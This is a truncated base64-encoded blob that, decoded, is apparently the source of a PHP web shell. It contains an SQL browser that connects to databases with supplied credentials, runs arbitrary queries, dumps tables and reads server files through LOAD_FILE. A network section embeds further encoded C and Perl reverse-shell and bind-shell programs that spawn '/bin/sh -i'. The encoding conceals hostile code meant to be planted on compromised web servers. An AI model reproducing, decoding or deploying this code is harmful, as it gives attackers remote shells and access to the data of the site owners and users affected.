RGJzKCkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQly
ZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9saXN0X2RicygkdGhpcy0+bGluayk7CgkJCQlicmVh
azsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVy
eSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSIpOwoJCQkJYnJlYWs7CgkJCX0KCQkJ
cmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBsaXN0VGFibGVzKCkgewoJCQlzd2l0Y2goJHRo
aXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0
aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJ
CQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBm
cm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgKHRhYmxlX3NjaGVtYSAhPSAnaW5m
b3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJykgb3IgdGFi
bGVfbmFtZSA9ICdwZ191c2VyJyIpOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJ
CX0KCQlmdW5jdGlvbiBlcnJvcigpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNl
ICdteXNxbCc6CgkJCQkJcmV0dXJuIEBteXNxbF9lcnJvcigkdGhpcy0+bGluayk7CgkJCQlicmVh
azsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQlyZXR1cm4gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmxp
bmspOwoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBzZXRD
aGFyc2V0KCRzdHIpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6
CgkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQoJCQkJCQlyZXR1
cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsKCQkJCQllbHNlCgkJCQkJ
CSR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsKCQkJCQlicmVhazsKCQkJCWNhc2Ug
J215c3FsJzoKCQkJCQlyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmss
ICRzdHIpOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24g
ZHVtcCgkdGFibGUpIHsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6
CgkJCQkJJHJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHRhYmxlLidg
Jyk7CgkJCQkJJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOwoJCQkJCWVjaG8gJGNy
ZWF0ZVsxXS4iO1xuXG4iOwoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSBgJy4kdGFi
bGUuJ2AnKTsKCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7CgkJCQkJCSRjb2x1
bW5zID0gYXJyYXkoKTsKCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsKCQkJCQkJCSRp
dGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7CgkJCQkJCQkk
Y29sdW1uc1tdID0gImAiLiRrLiJgIjsKCQkJCQkJfQoJCQkJCWVjaG8gJ0lOU0VSVCBJTlRPIGAn
LiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9k
ZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwoJCQkJCX0KCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdz
cWwnOgoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7CgkJCQkJd2hp
bGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgewoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7CgkJ
CQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7CgkJCQkJCQkkaXRlbVska10gPSAiJyIuYWRk
c2xhc2hlcygkdikuIiciOwoJCQkJCQkJJGNvbHVtbnNbXSA9ICRrOwoJCQkJCQl9CgkJCQkJZWNo
byAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBW
QUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOwoJCQkJCX0KCQkJCWJyZWFr
OwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9OwoJJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NU
Wyd0eXBlJ10pOwoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewoJCW9iX3N0YXJ0KCJv
Yl9nemhhbmRsZXIiLCA0MDk2KTsKCQkkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAk
X1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2Un
XSk7CgkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwoJCWhlYWRlcigiQ29udGVu
dC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsKCQloZWFkZXIo
IkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOwoJCWZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAk
dikKCQkJCSRkYi0+ZHVtcCgkdik7CgkJZXhpdDsKCX0KCXByaW50SGVhZGVyKCk7Cgk/PgoJPGgx
PlNxbCBicm93c2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+Cgk8Zm9ybSBuYW1lPSJzZiIgbWV0
aG9kPSJwb3N0Ij4KCQk8dGFibGUgY2VsbHBhZGRpbmc9IjIiIGNlbGxzcGFjaW5nPSIwIj4KCQkJ
PHRyPgoJCQkJPHRkPlR5cGU8L3RkPgoJCQkJPHRkPkhvc3Q8L3RkPgoJCQkJPHRkPkxvZ2luPC90
ZD4KCQkJCTx0ZD5QYXNzd29yZDwvdGQ+CgkJCQk8dGQ+RGF0YWJhc2U8L3RkPgoJCQkJPHRkPjwv
dGQ+CgkJCTwvdHI+CgkJCTx0cj4KCQkJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9
U3FsPgoJCQkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3F1ZXJ5Jz4KCQkJCTxp
bnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPgoJCQkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2
YWx1ZT0nPD89aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pOz8+Jz4KCQkJCTxpbnB1
dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsnY2hhcnNl
dCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJz8+Jz4KCQkJCTx0ZD4KCQkJCQk8c2VsZWN0IG5hbWU9
J3R5cGUnPgoJCQkJCQk8b3B0aW9uIHZhbHVlPSJteXNxbCIgPD9waHAgaWYoQCRfUE9TVFsndHlw
ZSddPT0nbXlzcWwnKWVjaG8gJ3NlbGVjdGVkJzs/Pj5NeVNxbDwvb3B0aW9uPgoJCQkJCQk8b3B0
aW9uIHZhbHVlPSJwZ3NxbCIgPD9waHAgaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVjaG8g
J3NlbGVjdGVkJzs/Pj5Qb3N0Z3JlU3FsPC9vcHRpb24+CgkJCQkJPC9zZWxlY3Q+PC90ZD4KCQkJ
CTx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9Jzw/PShlbXB0eSgkX1BP
U1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxf
aG9zdCddKSk7Pz4nPjwvdGQ+CgkJCQk8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dp
biB2YWx1ZT0nPD89KGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPydyb290JzpodG1sc3BlY2lh
bGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKTs/Pic+PC90ZD4KCQkJCTx0ZD48aW5wdXQgdHlw
ZT10ZXh0IG5hbWU9c3FsX3Bhc3MgdmFsdWU9Jzw/PShlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10p
PycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSk7Pz4nPjwvdGQ+CgkJCQk8
dGQ+Cgk8P3BocAoJJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9
Jyc+IjsKCWlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpewoJCWlmKCRkYi0+Y29ubmVjdCgk
X1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3Mn
XSwgJF9QT1NUWydzcWxfYmFzZSddKSkgewoJCQlzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsK
CQkJCWNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFr
OwoJCQkJY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7CgkJCQlj
YXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOwoJCQkJY2FzZSAi
S09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsKCQkJCWNhc2UgImNwODY2
IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsKCQkJfQoJCQkkZGItPmxpc3REYnMo
KTsKCQkJZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRp
b24+IjsKCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpIHsKCQkJCWxpc3QoJGtleSwgJHZh
bHVlKSA9IGVhY2goJGl0ZW0pOwoJCQkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIg
Jy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4n
PC9vcHRpb24+JzsKCQkJfQoJCQllY2hvICc8L3NlbGVjdD4nOwoJCX0KCQllbHNlIGVjaG8gJHRt
cDsKCX1lbHNlCgkJZWNobyAkdG1wOwoJPz48L3RkPgoJCQk8dGQ+PGlucHV0IHR5cGU9c3VibWl0
IHZhbHVlPSI+PiI+PC90ZD4KCQkJPC90cj4KCQk8L3RhYmxlPgoJCTxzY3JpcHQ+CgkJCWZ1bmN0
aW9uIHN0KHQsbCkgewoJCQkJZG9jdW1lbnQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsKCQkJCWRv
Y3VtZW50LnNmLnAyLnZhbHVlID0gdDsKCQkJCWlmKGwhPW51bGwpZG9jdW1lbnQuc2YucDMudmFs
dWUgPSBsOwoJCQkJZG9jdW1lbnQuc2Yuc3VibWl0KCk7CgkJCX0KCQkJZnVuY3Rpb24gaXMoKSB7
CgkJCQlmb3IoaT0wO2k8ZG9jdW1lbnQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkK
CQkJCQlkb2N1bWVudC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkID0gIWRvY3VtZW50
LnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7CgkJCX0KCQk8L3NjcmlwdD4KCTw/cGhw
CglpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7CgkJZWNobyAiPGJyLz48dGFibGUgd2lkdGg9
MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsKCQkJaWYoIWVtcHR5KCRfUE9TVFsn
c3FsX2Jhc2UnXSkpewoJCQkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwoJCQkJ
ZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2O2Jv
cmRlci1yaWdodDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4i
OwoJCQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CgkJCQl3aGlsZSgkaXRlbSA9ICRk
Yi0+ZmV0Y2goJHRibHNfcmVzKSkgewoJCQkJCWxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0
ZW0pOwoJCQkJCSRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMg
biBGUk9NICcuJHZhbHVlLicnKSk7CgkJCQkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFs
dWUpOwoJCQkJCWVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10n
IHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1
ZS4iJylcIj4iLiR2YWx1ZS4iPC9hPiAoIi4kblsnbiddLiIpPC9ub2JyPjxicj4iOwoJCQkJfQoJ
CQkJZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0
eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9XCJk
b3dubG9hZFwiO2RvY3VtZW50LnNmLnN1Ym1pdCgpOyc+PC90ZD48dGQgc3R5bGU9J2JvcmRlci10
b3A6MnB4IHNvbGlkICM2NjY7Jz4iOwoJCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0Jykg
ewoJCQkJCSRfUE9TVFsncDEnXSA9ICdxdWVyeSc7CgkJCQkJJGRiLT5xdWVyeSgnU0VMRUNUIENP
VU5UKCopIGFzIG4gRlJPTSAnLiRfUE9TVFsncDInXS4nJyk7CgkJCQkJJG51bSA9ICRkYi0+ZmV0
Y2goKTsKCQkJCQkkbnVtID0gJG51bVsnbiddOwoJCQkJCWVjaG8gIjxzcGFuPiIuJF9QT1NUWydw
MiddLiI8L3NwYW4+ICgkbnVtKSAiOwoJCQkJCWZvcigkaT0wOyRpPCgkbnVtLzMwKTskaSsrKQoJ
CQkJCQlpZigkaSAhPSAoaW50KSRfUE9TVFsncDMnXSkKCQkJCQkJCWVjaG8gIjxhIGhyZWY9JyMn
IG9uY2xpY2s9J3N0KFwiIi4kX1BPU1RbJ3AyJ10uIlwiLCAkaSknPiIsKCRpKzEpLCI8L2E+ICI7
CgkJCQkJCWVsc2UKCQkJCQkJCWVjaG8gKCRpKzEpLCIgIjsKCQkJCQlpZigkX1BPU1RbJ3R5cGUn
XT09J3Bnc3FsJykKCQkJCQkJJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1Rb
J3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsKCQkJCQllbHNlCgkJ
CQkJCSRfUE9TVFsncDMnXSA9ICdTRUxFQ1QgKiBGUk9NIGAnLiRfUE9TVFsncDInXS4nYCBMSU1J
VCAnLigkX1BPU1RbJ3AzJ10qMzApLicsMzAnOwoJCQkJCWVjaG8gIjxicj48YnI+IjsKCQkJCX0K
CQkJCWlmKChAJF9QT1NUWydwMSddID09ICdxdWVyeScpICYmICFlbXB0eSgkX1BPU1RbJ3AzJ10p
KSB7CgkJCQkJJGRiLT5xdWVyeShAJF9QT1NUWydwMyddKTsKCQkJCQlpZigkZGItPnJlcyAhPT0g
ZmFsc2UpIHsKCQkJCQkJJHRpdGxlID0gZmFsc2U7CgkJCQkJCWVjaG8gJzx0YWJsZSB3aWR0aD0x
MDAlIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluPic7CgkJCQkJCSRsaW5l
ID0gMTsKCQkJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCkpCXsKCQkJCQkJCWlmKCEkdGl0
bGUpCXsKCQkJCQkJCQllY2hvICc8dHI+JzsKCQkJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrZXkg
PT4gJHZhbHVlKQoJCQkJCQkJCQllY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7CgkJCQkJCQkJcmVz
ZXQoJGl0ZW0pOwoJCQkJCQkJCSR0aXRsZT10cnVlOwoJCQkJCQkJCWVjaG8gJzwvdHI+PHRyPic7
CgkJCQkJCQkJJGxpbmUgPSAyOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAnPHRyIGNsYXNzPSJsJy4k
bGluZS4nIj4nOwoJCQkJCQkJJGxpbmUgPSAkbGluZT09MT8yOjE7CgkJCQkJCQlmb3JlYWNoKCRp
dGVtIGFzICRrZXkgPT4gJHZhbHVlKSB7CgkJCQkJCQkJaWYoJHZhbHVlID09IG51bGwpCgkJCQkJ
CQkJCWVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsKCQkJCQkJCQllbHNlCgkJCQkJCQkJCWVj
aG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsKCQkJCQkJ
CX0KCQkJCQkJCWVjaG8gJzwvdHI+JzsKCQkJCQkJfQoJCQkJCQllY2hvICc8L3RhYmxlPic7CgkJ
CQkJfSBlbHNlIHsKCQkJCQkJZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxj
aGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOwoJCQkJCX0KCQkJCX0KCQkJCWVjaG8gIjxicj48
dGV4dGFyZWEgbmFtZT0ncDMnIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+Ii5AaHRt
bHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pLiI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9
c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOwoJCQkJZWNobyAiPC90ZD48L3RyPiI7CgkJCX0KCQkJ
ZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz48Zm9ybSBvbnN1Ym1pdD0nZG9jdW1lbnQuc2YucDEu
dmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1
bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxp
bnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1p
dCB2YWx1ZT0nPj4nPjwvZm9ybT4iOwoJCQlpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScp
IHsKCQkJCSRkYi0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkX1BPU1Rb
J3AyJ10pLiInKSBhcyBmaWxlIik7CgkJCQkkZmlsZSA9ICRkYi0+ZmV0Y2goKTsKCQkJCWVjaG8g
JzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+
JzsKCQkJfQoJfQoJZWNobyAnPC9kaXY+JzsKCXByaW50Rm9vdGVyKCk7Cn0KLy8gU3FsIGVuZCAt
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCi8vIE5ldHdvcmsgZ28gLS0tLS0tLS0tLS0tLS0tLS0t
LS0KZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsKCXByaW50SGVhZGVyKCk7CgkkYmFja19jb25u
ZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlky
dGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDQnRZV2x1S0ds
dWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBJSHNOQ2lBZ0lDQnBiblFnWm1RN0RRb2dJQ0Fn
YzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUhOcGJqc05DaUFnSUNCa1lXVnRiMjRvTVN3d0tUc05D
aUFnSUNCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjMmx1TG5OcGJs
OXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZEtTazdEUW9nSUNBZ2MybHVMbk5wYmw5
aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNOQ2lBZ0lDQm1aQ0E5
SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJ
RHNOQ2lBZ0lDQnBaaUFvS0dOdmJtNWxZM1FvWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0tp
a2dKbk5wYml3Z2MybDZaVzltS0hOMGNuVmpkQ0J6YjJOcllXUmtjaWtwS1R3d0tTQjdEUW9nSUNB
Z0lDQWdJSEJsY25KdmNpZ2lRMjl1Ym1WamRDQm1ZV2xzSWlrN0RRb2dJQ0FnSUNBZ0lISmxkSFZ5
YmlBd093MEtJQ0FnSUgwTkNpQWdJQ0JrZFhBeUtHWmtMQ0F3S1RzTkNpQWdJQ0JrZFhBeUtHWmtM
Q0F4S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F5S1RzTkNpQWdJQ0J6ZVhOMFpXMG9JaTlpYVc0dmMy
Z2dMV2tpS1RzTkNpQWdJQ0JqYkc5elpTaG1aQ2s3RFFwOSI7CgkkYmFja19jb25uZWN0X3A9Ikl5
RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhS
dmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5
UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnli
M0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RR
cHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNS
dktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dn
SkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9M
Q0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNt
OXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNB
dGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05s
S0ZOVVJFVlNVaWs3IjsKCSRiaW5kX3BvcnRfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFv
amFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThkVzVwYzNSa0xtZytEUW9q
YVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnNhV0l1YUQ0TkNtbHVk
Q0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNvcVlYSm5kaWtnZXcwS0lDQWdJR2x1ZENCekxH
TXNhVHNOQ2lBZ0lDQmphR0Z5SUhCYk16QmRPdzBLSUNBZ0lITjBjblZqZENCemIyTnJZV1JrY2w5
cGJpQnlPdzBLSUNBZ0lHUmhaVzF2YmlneExEQXBPdzBLSUNBZ0lITWdQU0J6YjJOclpYUW9RVVpm
U1U1RlZDeFRUME5MWDFOVVVrVkJUU3d3S1RzTkNpQWdJQ0JwWmlnaGN5a2djbVYwZFhKdUlDMHhP
dzBLSUNBZ0lISXVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjaTV6YVc1ZmNH
OXlkQ0E5SUdoMGIyNXpLR0YwYjJrb1lYSm5kbHN4WFNrcE93MEtJQ0FnSUhJdWMybHVYMkZrWkhJ
dWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0RRb2dJQ0FnWW1sdVpDaHpMQ0Fv
YzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSm5Jc0lEQjRNVEFwT3cwS0lDQWdJR3hwYzNSbGJpaHpM
Q0ExS1RzTkNpQWdJQ0IzYUdsc1pTZ3hLU0I3RFFvZ0lDQWdJQ0FnSUdNOVlXTmpaWEIwS0hNc01D
d3dLVHNOQ2lBZ0lDQWdJQ0FnWkhWd01paGpMREFwT3cwS0lDQWdJQ0FnSUNCa2RYQXlLR01zTVNr
N0RRb2dJQ0FnSUNBZ0lHUjFjRElvWXl3eUtUc05DaUFnSUNBZ0lDQWdkM0pwZEdVb1l5d2lVR0Z6
YzNkdmNtUTZJaXc1S1RzTkNpQWdJQ0FnSUNBZ2NtVmhaQ2hqTEhBc2MybDZaVzltS0hBcEtUc05D
aUFnSUNBZ0lDQWdabTl5S0drOU1EdHBQSE4wY214bGJpaHdLVHRwS3lzcERRb2dJQ0FnSUNBZ0lD
QWdJQ0JwWmlnZ0tIQmJhVjBnUFQwZ0oxeHVKeWtnZkh3Z0tIQmJhVjBnUFQwZ0oxeHlKeWtnS1Ew
S0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhCYmFWMGdQU0FuWERBbk93MEtJQ0FnSUNBZ0lDQnBaaUFv
YzNSeVkyMXdLR0Z5WjNaYk1sMHNjQ2tnUFQwZ01Da05DaUFnSUNBZ0lDQWdJQ0FnSUhONWMzUmxi
U2dpTDJKcGJpOXphQ0F0YVNJcE93MEtJQ0FnSUNBZ0lDQmpiRzl6WlNoaktUc05DaUFnSUNCOURR
cDkiOwoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlh
VzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMy
VWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdk
bGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6
YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRS
VUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJF
UlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0
b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4
S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdE
